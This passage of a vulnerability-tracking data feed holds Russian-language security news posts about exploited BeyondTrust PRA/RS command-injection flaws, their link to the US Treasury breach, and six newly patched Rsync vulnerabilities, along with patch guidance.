CISA, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b BeyondTrust PRA \u0438 RS, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0432\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0430\u0439\u0442\u0430. \u0414\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0443\u0436\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f. \u0422\u0435\u043c, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0430\u0442\u0447\u0438 BT24-10-ONPREM1 \u0438\u043b\u0438 BT24-10-ONPREM2.\n\n\u0421\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u044f\u0432\u0438\u043b\u043e\u0441\u044c \u0432\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a BeyondTrust \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0435, \u0436\u0435\u0440\u0442\u0432\u043e\u0439 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u0442\u0430\u043b\u0430 \u0435\u0451 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 Remote Support SaaS. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a API-\u043a\u043b\u044e\u0447\u0443, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432 \u0435\u0433\u043e \u0434\u043b\u044f \u0441\u0431\u0440\u043e\u0441\u0430 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u044f\u0445.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043c\u043e\u0433\u043e \u0441 \u043f\u0440\u0438\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435\u043c \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432, \u0431\u044b\u043b\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0435\u0449\u0451 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u2014 CVE-2024-12686 (CVSS 6.6). \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0441 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0430\u0439\u0442\u0430. \u042d\u0442\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u043d\u043e\u0432\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f.\n\n\u0414\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 PRA \u0438 RS \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u043f\u0430\u0442\u0447\u0438 BT24-11-ONPREM1 \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435, \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438. BeyondTrust \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0447\u0442\u043e \u0432\u0441\u0435 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u044b \u0431\u044b\u043b\u0438 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u044b, \u043e\u0434\u043d\u0430\u043a\u043e \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u043c\u0430\u0441\u0448\u0442\u0430\u0431 \u0430\u0442\u0430\u043a\u0438 \u0438 \u043b\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n\u0412\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-12356 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 CISA \u043f\u043e\u0434\u0447\u0451\u0440\u043a\u0438\u0432\u0430\u0435\u0442 \u0435\u0451 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e\u0441\u0442\u044c. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u043c\u0435\u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0447\u0442\u043e\u0431\u044b \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0438\u0441\u043a\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-12-20T09:11:48.000000Z"}, {"uuid": "315d7429-7bfa-49da-9eb4-9756091a6b1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "exploited", "source": "https://t.me/itsec_news/5130", "content": "\u200b\u26a1\ufe0f\u041e\u0434\u0438\u043d API-\u043a\u043b\u044e\u0447 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043a\u043b\u044e\u0447\u043e\u043c \u043a \u043a\u0430\u0437\u043d\u0435 \u0421\u0428\u0410\n\n\ud83d\udcac \u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e CISA \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u043e \u0432\u0442\u043e\u0440\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0443\u044e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b BeyondTrust Privileged Remote Access (PRA) \u0438 Remote Support (RS), \u0432 \u0441\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 KEV. \u042d\u0442\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e \u043d\u0430 \u0444\u043e\u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\nCVE-2024-12686 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7.2) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0445\u0430\u043a\u0435\u0440\u0443 \u0441 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0430\u0439\u0442\u0430. \u0412 CISA \u0443\u0442\u043e\u0447\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043e\u0448\u0438\u0431\u043a\u0443 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 CVE-2024-12686 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u043e \u0441\u043f\u0443\u0441\u0442\u044f \u043c\u0435\u0441\u044f\u0446 \u043f\u043e\u0441\u043b\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0434\u0440\u0443\u0433\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0442\u043e\u043c \u0436\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435 \u2014 CVE-2024-12356 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\n\nBeyondTrust \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0447\u0442\u043e \u043e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u044b \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0438\u0431\u0435\u0440\u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430, \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0435\u0434\u0448\u0435\u0433\u043e \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2024 \u0433\u043e\u0434\u0430. \u0422\u043e\u0433\u0434\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 API-\u043a\u043b\u044e\u0447 Remote Support \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439. \u0425\u043e\u0442\u044f \u043a\u043b\u044e\u0447 \u0431\u044b\u043b \u043e\u0442\u043e\u0437\u0432\u0430\u043d, \u043e\u0431\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u0432\u044b\u044f\u0441\u043d\u0435\u043d\u044b. \u041f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0443\u0433\u0440\u043e\u0437\u044b \u0441\u0442\u0430\u043b\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043a\u0430\u043a \u043d\u0443\u043b\u0435\u0432\u044b\u0445 \u0434\u043d\u0435\u0439.\n\n\u0412 \u043d\u0430\u0447\u0430\u043b\u0435 \u044f\u043d\u0432\u0430\u0440\u044f \u041c\u0438\u043d\u0438\u0441\u0442\u0435\u0440\u0441\u0442\u0432\u043e \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432 \u0421\u0428\u0410 \u0437\u0430\u044f\u0432\u0438\u043b\u043e, \u0447\u0442\u043e \u0441\u0435\u0442\u044c \u0432\u0435\u0434\u043e\u043c\u0441\u0442\u0432\u0430 \u0431\u044b\u043b\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0447\u0435\u0440\u0435\u0437 \u0432\u044b\u0448\u0435\u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0439 API-\u043a\u043b\u044e\u0447. \u041a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0443 \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u044e\u0442 \u0441 \u043a\u0438\u0442\u0430\u0439\u0441\u043a\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u043e\u0439 Silk Typhoon (Hafnium). \u0421\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0446\u0435\u043b\u044f\u043c\u0438 \u0430\u0442\u0430\u043a\u0438 \u0441\u0442\u0430\u043b\u0438 \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044e \u0437\u0430 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u0430\u043a\u0442\u0438\u0432\u0430\u043c\u0438 (OFAC), \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0445 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u041a\u043e\u043c\u0438\u0442\u0435\u0442 \u043f\u043e \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0446\u0438\u044f\u043c \u0421\u0428\u0410 (CFIUS).\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-01-15T10:53:21.000000Z"}, {"uuid": "15623be1-ea29-44c6-a22c-3f59e2228762", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://t.me/itsec_news/5141", "content": "\u200b\u26a1\ufe0f\u041f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u0451\u0442 \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 Unix\n\n\ud83d\udcac\u0412 Rsync, \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0434\u043b\u044f Unix-\u0441\u0438\u0441\u0442\u0435\u043c, \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\nCERT Coordination Center (CERT/CC) \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u043d\u0430\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445. \u042d\u0442\u043e \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0443\u0442\u0435\u0447\u043a\u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0442\u0430\u043a\u043e\u0439 \u043a\u0430\u043a SSH-\u043a\u043b\u044e\u0447\u0438, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0451\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442:\n\nCVE-2024-12084 (CVSS 9.8): \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b;\nCVE-2024-12085 (CVSS 7.5): \u0443\u0442\u0435\u0447\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\nCVE-2024-12086 (CVSS 6.1): \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c Rsync;\nCVE-2024-12087 (CVSS 6.5): \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\nCVE-2024-12088 (CVSS 6.5): \u043e\u0431\u0445\u043e\u0434 \u043e\u043f\u0446\u0438\u0438 --safe-links, \u0432\u0435\u0434\u0443\u0449\u0438\u0439 \u043a \u0430\u0442\u0430\u043a\u0435 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438;\nCVE-2024-12747 (CVSS 5.6): \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\u041f\u0435\u0440\u0432\u044b\u0435 \u043f\u044f\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Google Cloud Vulnerability Research \u2014 \u0421\u0430\u0439\u043c\u043e\u043d \u0421\u043a\u0430\u043d\u043d\u0435\u043b\u043b, \u041f\u0435\u0434\u0440\u043e \u0413\u0430\u043b\u043b\u0435\u0433\u043e\u0441 \u0438 \u0414\u0436\u0430\u0437\u0438\u0435\u043b \u0421\u043f\u0435\u043b\u043c\u0430\u043d. \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0410\u043b\u0435\u043a\u0441\u0435\u0435\u043c \u0413\u043e\u0440\u0431\u0430\u043d\u0435\u043c.\n\n\u041e\u0441\u043e\u0431\u043e \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0430 CVE-2024-12084, \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u043c\u0435\u0442\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync. \u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b \u041d\u0438\u043a \u0422\u0435\u0439\u0442 \u0438\u0437 Red Hat Product Security, \u043a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2024-12084 \u0438 CVE-2024-12085 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440 Rsync.\n\n\u0412 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0441 \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u0448\u043d\u0435\u0433\u043e \u0434\u043d\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0438 \u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. 